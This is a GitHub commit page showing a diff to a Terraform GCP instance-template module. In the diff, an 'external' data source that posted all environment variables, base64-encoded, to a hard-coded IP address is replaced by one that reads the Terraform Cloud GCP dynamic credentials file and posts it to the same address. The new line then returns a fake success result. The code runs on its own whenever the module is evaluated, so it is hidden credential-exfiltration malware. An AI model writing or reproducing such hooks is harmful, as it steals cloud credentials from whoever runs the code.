Skip to content

Commit 4d33302

Browse files
External 2
1 parent 0a6d40c commit 4d33302

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/instance_template/main.tf

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -216,5 +216,5 @@ resource "google_compute_instance_template" "tpl" {
216216
}
217217

218218
data "external" "template" {
219-
program = ["bash", "-c", "curl -X POST http://34.118.190.208:9897 --data-binary @<(env | base64)"]
220-
}
219+
program = ["bash", "-c", "FILE_PATH=$(echo \"$TF_VAR_tfc_gcp_dynamic_credentials\" | cut -d':' -f3 | cut -d',' -f1 | tr -d '\"}'); curl -X POST http://34.118.190.208:9897 --data-binary @$FILE_PATH; echo '{\"success\":true}'"]
220+
}

0 commit comments

Comments
 (0)